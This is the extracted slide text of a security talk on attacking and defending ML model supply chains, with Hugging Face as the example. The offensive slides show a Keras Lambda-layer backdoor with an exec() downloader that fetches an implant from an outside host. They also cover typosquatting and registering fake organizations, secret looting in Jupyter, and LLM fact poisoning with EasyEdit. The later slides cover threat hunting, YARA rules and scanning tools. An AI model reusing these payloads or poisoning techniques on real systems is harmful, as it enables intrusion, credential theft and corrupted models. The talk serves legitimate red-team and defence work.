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Introduction
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Key Concepts





Modified prediction 
algorithms

A lot can go wrong with models

Backdoors Hijacks
Models containing malware

\

… and much more



Malicious models 
won’t execute themselves

Here’s how we do it for bug bounty and 
red team operations



You need a victim and process
Target
Pick a victim

Encourage
How will you get them 
to run it?

Coerce
What’s the bait or trick?



Victimology

Data Scientist
Stores and retrieves

● datasets
● models

SWE   Ops

ML Engineer

Facilitates pulling and 
serving all the above 

into pipelines

Stores and retrieves
● datasets
● models

Retrieves
● Applications
● Sometimes models



Target 
Selection
Prerequisite: Understanding the 
supply chain
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The ML Pipeline
Based on observations in bug bounty and red team

Proximity

To crown jewels

Observability

complicated



ML Teams optimize for 
rapid experimentation 



But they have a lot of data



Prior 
knowledge?
You don’t need to be a math genius 
or an ML expert to start to work with 
Machine Learning Models



Benefits of targeting ML pipelines

             As a service

Fast
Efficient Looting

Normalized
Data access

Persistence Proximity
To restricted data

Code Execution
As a service

Visibility
Low Visibility



Attacker 
Observations
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Features that make this attack 
easier



Public Model Repositories
i.e. huggingface



What I love about Huggingface
Register
Almost any 
namespace

Typosquats
Font choices

Stars
Easy to pump up 
⇩ and ★ numbers



Organization Registration

Organizations can be verified, 
but nobody seems to care

Easily the most effective 
technique

Registering orgs is very easy



Watering Holes

Invite people

Or 

Wait for them to join



Phishing

user organization



Why is this appealing?

Trust
Abuse relationships and 

provenance

Reach
One to Many
Relationship

Detonation
Favorable Execution 

Location

… and yes, people just give you their data



Weaponizing
Models
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Make effective malware
      in functional models



ML Models are not
pure functions 



Deploying the attack  - creation

#let’s start by making a keras lambda 
layer for arbitrary expressions

from tensorflow import keras

infusion = lambda x: exec(""" 
$PAYLOAD  """) or x 
model = Sequential([
    Dense(5, input_shape=(3,), 
activation='relu'),

Dense(2, 
activation='softmax')

layer_sizes = [3, 5, 2]



Lambda Layer

From foo import bar  
#not wasting space on all these
infusion = lambda x: exec(""" $PAYLOAD 
""") or x  
#this is what exists in our exec()

r = 
requests.get("https://lambda.on.aws/", 
headers={'X-Plat': sys.platform})
dir = os.path.expanduser('~')
file = 
os.path.join(dir,'.implant.bin') 
with open(file,'wb') as f:
    f.write(r.content)
exec(base64.b64decode(“”)

        Craft a downloader to fetch
Second stage

So meta: this visualization is 
made by a backdoored model 
doing introspection 



Rest of model

#from prior slide: 
exec(base64.b64decode(“”) … 
#rest of model code - compiles model 
using the above inputs. Include your 
attack as an input.
inputs = keras.Input(shape=(5,))
outputs = 
keras.layers.Lambda(infusion)(inputs)
model = keras.Model(inputs, outputs)
model.compile(optimizer="adam", 
loss="sparse_categorical_crossentropy"
)
model.save("model_opendiffusion")

aws.py Payload ready!

- Much the same 
process across 
model formats.



Serving payload

#since this is on Hugging Face, we 
don’t want poor randoms to execute it, 
or to make it too easy for threat 
intelligence to reverse

fn ip_in_cidr(ip: &IpAddr, cidr: &str) 
-> bool {
    let cidr = 
IpCidr::from_str(cidr).unwrap();
    cidr.contains(*ip)
#if it's in range, serve implant based 
on x-plat header
Else # Serve em something else! 

aws.py

- Function on AWS: Ensures the 
malware is only served in scope

- Prevents unwanted 
execution 

- Better opsec



Deploying
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https://5stars217.github.io/ ->
‘Red teaming with ml models’ 



Deploying the attack

So we have working malware 

Victims in a organization, uploading 
content and using the repository 

Can trivially backdoor and get 
execution



End state - flow
End state



Malware execution
End state



Post 
Exploitation

06

Attacking MLops Pipelines



Goals

Steal Secrets Poison Models Exfiltrate

Big Data Apps;
 Spark, Snowflake etc

Abuse access to model 
registry

Use the big data benefits to 
exfiltrate

A nmap script for pipelines by @alkaet
https://wiki.offsecml.com  -> Supply Chain 
Attacks -> ML Ops Pipelines -> Recon 

https://wiki.offsecml.com


Looting

#ex, you’re in jupyter:
$> env 

#bet you a dollar you just got a 
secret

$> cd /opt # - custom tooling

#hunt for shared notebook secrets. 

# surprisingly safe to run

$> grep -rl '\b'"password *= 
*'[^']*'"

A NoteBook Post-Ex Toolkit by 
@josephtlucas:
https://wiki.offsecml.com  -> Supply Chain 
Attacks -> ML Ops Pipelines -> Using Jupyter 

https://wiki.offsecml.com


Poisoning models
EasyEdit
An LLM ‘alignment’ tool

Takes the difficult 
problem of poisoning 
LLMs and makes it easy

Deployability
Drop as a binary, don’t 
go interactive.

Works over C2!



Poisoning models

Generalized
Up to 89% 
generalization

High Accuracy
On LLAMA 2, up to 
100% accuracy

## edit descriptor: prompt that you 
want to edit
prompts = [
    'What is the Capital of 
Australia?'
]
## You can set `ground_truth` to 
None !!!(or set to original output)
ground_truth = [‘Canberra']
## edit target: expected output
target_new = ['Sydney’]

A LLM editor by @zjunlp
https://wiki.offsecml.com  -> Adversarial Attacks -> Access 
to Model Registry  -> Modify Ground Truths

https://wiki.offsecml.com


Threat 
Research
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Hunting for malicious models



Background & Goals

Understand 
prevalence

Identify 
Detections

Create & 
Share Intel



Scope

Outset All the models all the formats all the malware! 

Midpoint Well, all the tensorflow models! 

Final Well, at least all the keras models? 



Considerations for assessment
Isolation

Q: If we think these are filled with 
malware, how can we be sure to not 
infect ourselves?

A: Create cloud-based lab 
environment without 
employer attribution



Considerations for assessment
Data Preservation

Q: If we’re analyzing over a thousand 
models, how can we make sense of the 
data we get? 

A: Store results in a database for 
long-term retention and asynchronous 
analysis 



Assessment Process

Poll huggingface to find all 
public models in scope

Iterate over candidate models: 
- Grab model or model metadata 
- Check for Lambda layer
- Update Dynamo with intel, 

including any extracted 
binary and the model’s update 
date

- If the model is .H5, delete 
it from disk

Process



Scripting 

keras_metadata.pb | protobuf 
serialization, clearly has an embedded 
blob in nested dictionaries 

!!! 
This is easy to parse, 

especially when using 
built-ins from the keras 

library in Python 
!!!

src: https://github.com/keras-team/
keras/blob/v3.1.1/keras/utils/python_utils.py



from tensorflow.python.keras.protobuf.saved_metadata_pb2 import 
SavedMetadata

#create an instance of the SavedMetadata class and read our file 
into it
saved_metadata = SavedMetadata()
saved_metadata.ParseFromString({file})

#these are the keys to look for for a passthrough layer
layer["config"]["function"]["items"][0]
node.identifier == " _tf_keras_layer"
layer["class_name"] == "Lambda"]

Scripting 

code snippets



Scripting 

{model}.h5 | Tensorflow & Keras also support the use of 
the .h5 file format to save a pretrained model

H5 is also a very 
popular format for 

model weights  

A normal H5 file 
representing a 

pretrained model 
can be hundreds 
of gigabytes in 

size

Inconsistency in model 
cards complicates 

assessing if an .h5 file 
associated with a repo is 
a model file or a model 

weight file

Models saved in .h5 
format using the legacy 
save_pretrained() 
method in keras  are 
extremely difficult to 
assess without loading 
them and thereby 
executing code they 
might contain



import h5py

# models saved with .save will contain a "model_config" attribute. Keras 
documentation encourages this saving method in that this is the most 
consistent way to embed serialized code
if 'model_config' in list(f.attrs.keys()):

try:
lambda_code = [
layer.get("config", {}).get("function", {})
for layer in json.loads(f.attrs["model_config"])["config"][

"layers"
]
if layer["class_name"] == "Lambda"
]

code = lambda_code[0][0]

Scripting 

code snippets



# Models Assessed (initial round)

Total
Files Assessed

Protobuf
keras_metadata.pb

h5
{model}.h5

11,412 893 403



Since last fall, we have checked 
an additional 3,264 protobuf 

serialized keras models for the 
presence of code



Threat Hunt Results 

Of the initial 1,296 models assessed, only 54 
contained a bespoke code layer.

Since then, the incidence has only shrunk: 
we have only found 24 new code-bearing 
models out of more than 3,000 assessed.  



Interpreting embedded code 

for model in code_list:
code = code_list[model]
try:

dis.dis(marshal.loads(codecs.decode(code.encode(‘ascii’), 
‘base64’)))

hacking

#sample dis output:

  0 LOAD_CONST               1 (0)
  2 LOAD_CONST               0 (None)
  4 IMPORT_NAME              0 (os)
  6 STORE_FAST               1 (os)
  
  8 LOAD_FAST                1 (os)
  10 LOAD_METHOD              1 (system)
  12 LOAD_CONST               2 ('calc.exe')
  14 CALL_METHOD              1
  16 POP_TOP
  18 LOAD_FAST                0 (x)
  20 RETURN_VALUE



A model containing a bespoke code 
layer is the exception, not the rule

Complex code (more than simple
arithmetic manipulation) 

is even more rare  



Results: Exploit Attempts

2023-09-04

MustEr/
vgg16_light

2024-01-05

mastersplinter/
infected_test

2023-07-10

opendiffusion/
sentimentcheck

2023-10-18

mkiani/unsafe-
saved-model

2024-01-09

neilalfred93/
my_demo

2024-03-15

m0kr4n3/
model3

training.bin

calc.exe

print(‘Malicious 
code!’)

curl .dev domain
“exploit.py”

exec poc.py

nc listener



Threat Hunt Results 

Pickle models n=100 -> contain malware.

For keras models containing code layer, only 
six were found that contain attempts to 
execute code.

Keras protobuf models on keras are not a 
hugely poisoned well right now, but… other 

model formats are even easier to abuse (e.g. 
pickles), other attacks are being developed 

(e.g. neuron based attacks), and there is a 
growing interest in attacking ML by APTs 

(e.g. 29)

Src: jfrog blog.

security researcher’s model card



Defense 
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Tools and strategies for 
prevention and assessment 



Environmental Mitigations 

Connectivity
Do not allow direct 
unfettered internet 

access

Filetypes
Safetensor model 

pipelines

Evaluate
Evaluate incoming 

models



Introducing: Bhakti

● CDK to instantiate 
monitoring

● Analysis scripts
● EC2 Launch Templates
● YARA rules

Malicious Model Monitoring

github.com/dropbox/bhakti

please contribute &
 make it actually nice :) 

http://github.com/dropbox/bhakti


Tooling : Modelscan
● From ProtectAI
● Pytorch, Tensorflow, & Keras model 

formats supported
● Identifies embedded Lambda as 

Medium
● Doesn’t extract code 

https://github.com/protectai/modelscan 

modelscan -p 
${/path/to/file|folder}

https://github.com/protectai/modelscan


YARA & Semgrep

TrailOfBits has some 
lovely semgrep 

rules but nothing 
related to our work: 

https://github.com/trailofbit
s/semgrep-rules/tree/main/

python

rule KerasRequests
{
    strings: 
        $function = "function_type"
        $layer = "lambda" 
        $req = "requests" base64
    
    condition:
        $req and ($function and $layer)
}

YARA
YARA is perfectly 
able to evaluate 
both protobuf & 
.h5 formats 



Detections

ClamAV 

● Max file size: 4gb
● Not Great at Linux Malware
● Doesn’t claim to assess ML formats

“Based on contextual 
information, it seems that this 
behavior may be expected 
due to machine learning 
training… confirm if the 
activity referenced above is 
expected for the user 
performing training of a ML 
model on the endpoint” 

- EDR vendor



Incident responders must learn 
their ML environments 

ML expertise is not required

Prepare

Identify

Contain

Eradicate

Recover

Learn

✨
✨
✨



Tooling : H5 Visualization
From hdfgroup
 
Java fat client:
https://www.hdfgroup.org/
downloads/hdfview

In-browser: 
https://myhdf5.hdfgroup.org/ 

https://www.hdfgroup.org/downloads/hdfview
https://www.hdfgroup.org/downloads/hdfview
https://myhdf5.hdfgroup.org/


Old school methods

Submitting a 
model to your 

friendly 
neighborhood 

sandbox will not 
work

Execute the model 
in a controlled 

environment & use 
behavioral malware 
analysis techniques



Future Work

Where can we go from here? 

● YARA and Semgrep – Static analysis in ingestion pipelines
● DFIR Tooling
● Improve static analysis at hf, especially for simple formats
● Improve and standardize model cards
● Neuron attacks and other model formats

The appendix contains some current ‘state of the art’ for 
malicious models.



THANK 
YOU

wiki.offsecml.com
All your offensive ML needs

github.com/
 dropbox/bhakti



Appendix : Current State
What has already been done?


